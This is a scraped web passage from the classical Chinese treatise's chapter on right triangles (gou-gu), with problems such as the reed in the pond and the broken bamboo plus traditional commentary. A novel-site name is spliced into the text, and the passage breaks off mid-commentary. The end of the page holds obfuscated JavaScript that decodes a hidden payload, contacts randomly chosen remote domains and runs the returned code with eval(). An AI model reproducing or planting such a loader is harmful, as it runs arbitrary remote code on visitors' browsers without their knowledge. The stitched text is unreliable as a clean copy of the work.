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○句股(以御高深广远)

今有句三尺,股四尺,问为弦几何?答曰:五尺。龙腾小说ltxsba.com

今有弦五尺,句三尺,问为股几何?答曰:四尺。

今有股四尺,弦五尺,问为句几何?答曰:三尺。

句股

〔短面曰句,长面曰股,相与结角曰弦。句短其股,股短其弦。将以施于诸

率,故先具此术以见其源也。〕

术曰:句、股各自乘,并,而开方除之,即弦。

〔句自乘为朱方,股自乘为青方。令出入相补,各从其类,因就其余不移动

也,合成弦方之幂。开方除之,即弦也。〕

又,股自乘,以减弦自乘。其余,开方除之,即句。

〔淳风等按:此术以句、股幂合成弦幂。句方于内,则句短于股。令股自乘,

以减弦自乘,余者即句幂也。故开方除之,即句也。〕

又,句自乘,以减弦自乘。其余,开方除之,即股。

〔句、股幂合以成弦幂,令去其一,则余在者皆可得而知之。〕

今有圆材,径二尺五寸。欲为方版,令厚七寸,问广几何?答曰:二尺四寸。

术曰:令径二尺五寸自乘,以七寸自乘,减之。其余,开方除之,即广。

〔此以圆径二尺五寸为弦,版厚七寸为句,所求广为股也。〕

今有木长二丈,围之三尺。葛生其下,缠木七周,上与木齐。问葛长几何?

答曰:二丈九尺。

术曰:以七周乘围为股,木长为句,为之求弦。弦者,葛之长。

〔据围广,求从为木长者其形葛卷裹袤。以笔管,青线宛转,有似葛之缠木。

解而观之,则每周之间自有相间成句股弦。则其间葛长,弦。七周乘围,并合众

句以为一句;木长而股,短;术云木长谓之股,言之倒。句与股求弦,亦无围。

弦之自乘幂出上第一图。句、股幂合为弦幂,明矣。然二幂之数谓倒在于弦幂之

中而已。可更相表里,居里者则成方幂,其居表者则成矩幂。二表里形讹而数均。

又按:此图句幂之矩青,卷白表,是其幂以股弦差为广,股弦并为袤,而股幂方

其里。股幂之矩青,卷白表,是其幂以句弦差为广,句弦并为袤,而句幂方其里。

是故差之与并用除之,短、长互相乘也。〕

今有池方一丈,葭生其中央,出水一尺。引葭赴岸,适与岸齐。问水深、葭

长各几何?答曰:水深一丈二尺。葭长一丈三尺。

术曰:半池方自乘,

〔此以池方半之,得五尺为句;水深为股;葭长为弦。以句、弦见股,故令

句自乘,先见矩幂也。〕

以出水一尺自乘,减之。

〔出水者,股弦差。减此差幂于矩幂则除之。〕

余,倍出水除之,即得水深。

〔差为矩幂之广,水深是股。令此幂得出水一尺为长,故为矩而得葭长也。〕

加出水数,得葭长。

〔淳风等按:此葭本出水一尺,既见水深,故加出水尺数而得葭长也。〕

今有立木,系索其末,委地三尺。引索却行,去本八尺而索尽。问索长几何?

答曰:一丈二尺六分尺之一。

术曰:以去本自乘,

〔此以去本八尺为句,所求索者,弦也。引而索尽、开门去阃者,句及股弦

差,同一术。去本自乘者,先张矩幂。〕

令如委数而一。

〔委地者,股弦差也。以除矩幂,即是股弦并也。〕

所得,加委地数而半之,即索长。

〔子不可半者,倍其母。加差者并,则两长。故又半之。其减差者并,而半

之,得木长也。〕

今有垣高一丈,倚木于垣,上与垣齐。引木却行一尺,其木至地。问木长几

何?答曰:五丈五寸。

术曰:以垣高一十尺自乘,如却行尺数而一。所得,以加却行尺数而半之,

即木长数。

〔此以垣高一丈为句,所求倚木者为弦,引却行一尺为股弦差。为术之意与

系索问同也。〕

今有圆材埋在壁中,不知大小。以锯锯之,深一寸,锯道长一尺。问径几何?

答曰:材径二尺六寸。

术曰:半锯道自乘,

〔此术以锯道一尺为句,材径为弦,锯深一寸为股弦差之一半。锯道长是半

也。

淳风等按:下锯深得一寸为半股弦差。注云为股差差者,锯道也。〕

如深寸而一,以深寸增之,即材径。

〔亦以半增之。如上术,本当半之,今此皆同半,故不复半也。〕

今有开门去阃一尺,不合二寸。问门广几何?答曰:一丈一寸。

术曰:以去阃一尺自乘。所得,以不合二寸半之而一。所得,增不合之半,

即得门广。

〔此去阃一尺为句,半门广为弦,不合二寸以半之,得一寸为股弦差。求弦,

故当半之。今次以两弦为广数,故不复半之也。〕

今有户高多于广六尺八寸,两隅相去适一丈。问户高、广各几何?答曰:广

二尺八寸。高九尺六寸。

术曰:令一丈自乘为实。半相多,令自乘,倍之,减实。半其余,以开方除

之。所得,减相多之半,即户广;加相多之半,即户高。

〔令户广为句,高为股,两隅相去一丈为弦,高多于广六尺八寸为句股差。

按图为位,弦幂适满万寸。倍之,减句股差幂,开方除之。其所得即高广并数。

以差减并而半之,即户广。加相多之数,即户高也。今此术先求其半。一丈自乘

为朱幂四、黄幂一。半差自乘,又倍之,为黄幂四分之二,减实,半其余,有朱

幂二、黄幂四分之一。其于大方者四分之一。故开方除之,得高广并数半。减差

半,得广;加,得户高。又按:此图幂:句股相并幂而加其差幂,亦减弦幂,为

积。盖先见其弦,然后知其句与股。今适等,自乘,亦各为方,合为弦幂。令半

相多而自乘,倍之,又半并自乘,倍之,亦合为弦幂。而差数无者,此各自乘之,

而与相乘数,各为门实。及股长句短,同源而分流焉。假令句、股各五,弦幂五

十,开方除之,得七尺,有余一,不尽。假令弦十,其幂有百,半之为句、股二

幂,各得五十,当亦不可开。故曰:圆三、径一,方五、斜七,虽不正得尽理,

亦可言相近耳。其句股合而自相乘之幂者,令弦自乘,倍之,为两弦幂,以减之,

其余,开方除之,为句股差。加于合而半,为股;减差于合而半之,为句。句、

股、弦即高、广、邪。其出此图也,其倍弦为袤。令矩句即为幂,得广即句股差。

其矩句之幂,倍句为从法,开之亦句股差。以句股差幂减弦幂,半其余,差为从

法,开方除之,即句也。〕

今有竹高一丈,末折抵地,去本三尺。问折者高几何?答曰:四尺二十分尺

之一十一。

术曰:以去本自乘,

〔此去本三尺为句,折之余高为股,以先令句自乘之幂。〕

令如高而一。

〔凡为高一丈为股弦并,以除此幂得差。〕

所得,以减竹高而半余,即折者之高也。

〔此术与系索之类更相反覆也。亦可如上术,令高自乘为股弦并幂,去本自

乘为矩幂,减之,余为实。倍高为法,则得折之高数也。〕

今有二人同所立,甲行率七,乙行率三。乙东行,甲南行十步而斜东北与乙

会。问甲、乙行各几何?答曰:乙东行一十步半,甲斜行一十四步半及之。

术曰:令七自乘,三亦自乘,并而半之,以为甲斜行率。斜行率减于七自乘,

余为南行率。以三乘七为乙东行率。

〔此以南行为句,东行为股,斜行为弦,并句弦率七。欲引者,当以股率自

乘为幂,如并而一,所得为句弦差率。加并之半为弦率,以差率减,余为句率。

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d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};